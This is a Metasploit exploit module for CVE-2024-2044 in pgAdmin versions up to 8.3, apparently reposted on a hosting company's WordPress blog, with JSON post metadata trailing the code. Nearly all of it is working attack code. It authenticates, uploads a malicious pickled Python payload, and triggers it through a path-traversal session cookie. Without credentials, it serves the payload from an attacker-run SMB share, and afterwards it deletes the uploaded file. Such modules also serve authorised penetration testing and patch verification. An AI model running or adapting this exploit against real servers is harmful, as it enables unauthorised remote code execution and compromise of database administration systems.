# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking<\/p>\n
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMB::Server::Share<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘pgAdmin Session Deserialization RCE’,
‘Description’ => %q{
pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow
a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python
object to execute code within the context of the target application.<\/p>\n
This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials
are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object
using pgAdmin’s file management plugin. Once uploaded, this payload is executed via the path traversal before
being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no
credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a
UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also
requires that insecure outbound guest access be enabled.<\/p>\n
Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin
underwent changes in the 6.x versions and therefor, pgAdmin versions < 7.0 can not utilize the authenticated
technique whereby a payload is uploaded.
},
‘Author’ => [
‘Spencer McIntyre’, # metasploit module
‘Davide Silvetti’, # vulnerability discovery and write up
‘Abdel Adim Oisfi’ # vulnerability discovery and write up
],
‘License’ => MSF_LICENSE,
‘References’ => [
[‘CVE’, ‘2024-2044’],
[‘URL’, ‘https:\/\/www.shielder.com\/advisories\/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce\/’],
[‘URL’, ‘https:\/\/github.com\/pgadmin-org\/pgadmin4\/commit\/4e49d752fba72953acceeb7f4aa2e6e32d25853d’]],
‘Stance’ => Msf::Exploit::Stance::Aggressive,
‘Platform’ => ‘python’,
‘Arch’ => ARCH_PYTHON,
‘Payload’ => {},
‘Targets’ => [
[ ‘Automatic’, {} ],
],
‘DefaultOptions’ => {
‘SSL’ => true,
‘WfsDelay’ => 5
},
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘2024-03-04’, # date it was patched, see: https:\/\/github.com\/pgadmin-org\/pgadmin4\/commit\/4e49d752fba72953acceeb7f4aa2e6e32d25853d
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE, ],
‘SideEffects’ => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
‘Reliability’ => [ REPEATABLE_SESSION, ]}
)
)<\/p>\n
register_options([
OptString.new(‘TARGETURI’, [true, ‘Base path for pgAdmin’, ‘\/’]),
OptString.new(‘USERNAME’, [false, ‘The username to authenticate with (an email address)’, ”]),
OptString.new(‘PASSWORD’, [false, ‘The password to authenticate with’, ”])
])
end<\/p>\n
def check
version = get_version
return CheckCode::Unknown(‘Unable to determine the target version’) unless version
return CheckCode::Safe(“pgAdmin version #{version} is not affected”) if version >= Rex::Version.new(‘8.4’)<\/p>\n
CheckCode::Appears(“pgAdmin version #{version} is affected”)
end<\/p>\n
def csrf_token
return @csrf_token if @csrf_token<\/p>\n
res = send_request_cgi(‘uri’ => normalize_uri(target_uri.path, ‘login’), ‘keep_cookies’ => true)
set_csrf_token_from_login_page(res)
fail_with(Failure::UnexpectedReply, ‘Failed to obtain the CSRF token’) unless @csrf_token
@csrf_token
end<\/p>\n
def set_csrf_token_from_login_page(res)
if res&.code == 200 && res.body =~ \/csrfToken”: “([\\w+.-]+)”\/
@csrf_token = Regexp.last_match(1)
# at some point between v7.0 and 7.7 the token format changed
elsif (element = res.get_html_document.xpath(“\/\/input[@id=’csrf_token’]”)&.first)
@csrf_token = element[‘value’]end
end<\/p>\n
def get_version
res = send_request_cgi(‘uri’ => normalize_uri(target_uri.path, ‘login’), ‘keep_cookies’ => true)
return unless res&.code == 200<\/p>\n
html_document = res.get_html_document
return unless html_document.xpath(‘\/\/title’).text == ‘pgAdmin 4’<\/p>\n
# there’s multiple links in the HTML that expose the version number in the [X]XYYZZ,
# see: https:\/\/github.com\/pgadmin-org\/pgadmin4\/blob\/053b1e3d693db987d1c947e1cb34daf842e387b7\/web\/version.py#L27
versioned_link = html_document.xpath(‘\/\/link’).find { |link| link[‘href’] =~ \/\\?ver=(\\d?\\d)(\\d\\d)(\\d\\d)\/ }
return unless versioned_link<\/p>\n
set_csrf_token_from_login_page(res) # store the CSRF token because we have it
Rex::Version.new(“#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}”)
end<\/p>\n
def exploit
if datastore[‘USERNAME’].present?
exploit_upload
else
exploit_remote_load
end
end<\/p>\n
def exploit_remote_load
start_service
print_status(‘The SMB service has been started.’)<\/p>\n
# Call the exploit primer
self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
trigger_deserialization(unc)
end<\/p>\n
def exploit_upload
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, ‘authenticate\/login’),
‘method’ => ‘POST’,
‘keep_cookies’ => true,
‘vars_post’ => {
‘csrf_token’ => csrf_token,
’email’ => datastore[‘USERNAME’],
‘password’ => datastore[‘PASSWORD’],
‘language’ => ‘en’,
‘internal_button’ => ‘Login’
}
})<\/p>\n
unless res&.code == 302 && res.headers[‘Location’] != normalize_uri(target_uri.path, ‘login’)
fail_with(Failure::NoAccess, ‘Failed to authenticate to pgAdmin’)
end
print_status(‘Successfully authenticated to pgAdmin’)<\/p>\n
serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)<\/p>\n
file_name = Faker::File.file_name(dir: ”, directory_separator: ”)
file_manager_upload(file_name, serialized_data)
trigger_deserialization(“..\/storage\/#{datastore[‘USERNAME’].gsub(‘@’, ‘_’)}\/#{file_name}”)
file_manager_delete(file_name)
end<\/p>\n
def trigger_deserialization(path)
print_status(“Triggering deserialization for path: #{path}”)
send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, ‘login’),
‘cookie’ => “pga4_session=#{path}!”
})
end<\/p>\n
def file_manager_init
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, ‘file_manager\/init’),
‘method’ => ‘POST’,
‘keep_cookies’ => true,
‘ctype’ => ‘application\/json’,
‘headers’ => { ‘X-pgA-CSRFToken’ => csrf_token },
‘data’ => {
‘dialog_type’ => ‘storage_dialog’,
‘supported_types’ => [‘sql’, ‘csv’, ‘json’, ‘*’],
‘dialog_title’ => ‘Storage Manager’
}.to_json
})
unless res&.code == 200 && (trans_id = res.get_json_document.dig(‘data’, ‘transId’))
fail_with(Failure::UnexpectedReply, ‘Failed to initialize a file manager transaction’)
end<\/p>\n
trans_id
end<\/p>\n
def file_manager_delete(file_path)
trans_id = file_manager_init<\/p>\n
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, “\/file_manager\/filemanager\/#{trans_id}\/”),
‘method’ => ‘POST’,
‘keep_cookies’ => true,
‘ctype’ => ‘application\/json’,
‘headers’ => { ‘X-pgA-CSRFToken’ => csrf_token },
‘data’ => {
‘mode’ => ‘delete’,
‘path’ => “\/#{file_path}”,
‘storage_folder’ => ‘my_storage’
}.to_json
})
unless res&.code == 200 && res.get_json_document[‘success’] == 1
fail_with(Failure::UnexpectedReply, ‘Failed to delete file’)
end<\/p>\n
true
end<\/p>\n
def file_manager_upload(file_path, file_contents)
trans_id = file_manager_init<\/p>\n
form = Rex::MIME::Message.new
form.add_part(
file_contents,
‘application\/octet-stream’,
‘binary’,
“form-data; name=\\”newfile\\”; filename=\\”#{file_path}\\””
)
form.add_part(‘add’, nil, nil, ‘form-data; name=”mode”‘)
form.add_part(‘\/’, nil, nil, ‘form-data; name=”currentpath”‘)
form.add_part(‘my_storage’, nil, nil, ‘form-data; name=”storage_folder”‘)<\/p>\n
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, “\/file_manager\/filemanager\/#{trans_id}\/”),
‘method’ => ‘POST’,
‘keep_cookies’ => true,
‘ctype’ => “multipart\/form-data; boundary=#{form.bound}”,
‘headers’ => { ‘X-pgA-CSRFToken’ => csrf_token },
‘data’ => form.to_s
})
unless res&.code == 200 && res.get_json_document[‘success’] == 1
fail_with(Failure::UnexpectedReply, ‘Failed to upload file contents’)
end<\/p>\n
upload_path = res.get_json_document.dig(‘data’, ‘result’, ‘Name’)
print_status(“Serialized payload uploaded to: #{upload_path}”)<\/p>\n
true
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
# This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::SMB::Server::Share def initialize(info = {})super(update_info(info,‘Name’ => ‘pgAdmin Session Deserialization RCE’,‘Description’ => %q{pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allowa pickled file to be loaded from an arbitrary location. …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56301","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56301","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56301"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56301\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56301"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56301"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56301"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}